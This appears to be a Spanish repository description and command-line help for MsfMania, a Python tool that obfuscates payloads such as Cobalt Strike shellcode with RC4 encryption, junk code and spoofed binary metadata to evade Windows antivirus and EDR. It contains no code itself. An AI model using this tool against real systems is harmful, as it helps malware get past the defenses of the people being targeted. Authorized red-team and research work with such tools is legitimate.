lepotekil/msfmaniaHerramientas de evasión de AV en Python
MsfMania es un avanzado framework de ofuscación de payloads basado en Python, diseñado para evadir la detección de EDR/AV en sistemas Windows. Genera ejecutables altamente polimórficos mediante generación dinámica de código, cifrado multicapa (RC4) y suplantación de metadatos binarios.
⚠️ Solo con fines educativos - Esta herramienta está diseñada para pruebas de seguridad autorizadas y fines de investigación.

usage: main.py [-h] -p PAYLOAD -o OUTPUT [-k {1,2,3}] [-s]
[--spoof-bin TARGET_EXE] [-j JUNKCODES]
options:
-h, --help show this help message and exit
-p, --payload PAYLOAD
Select the payload file to use (ex: cobalt64.bin)
-o, --output OUTPUT Output path including filename (ex:
/path/to/output/payload)
-k, --keysize {1,2,3}
RC4 key size in bytes (1-3)
-s, --strip Strip the executable
--spoof-bin TARGET_EXE
Spoof binary metadata from target executable (ex:
assets/bins/bitsadmin_11-21H2_KB5032192.exe)
-j, --junkcodes JUNKCODES
Number of junkcodes to inject (default: 0)
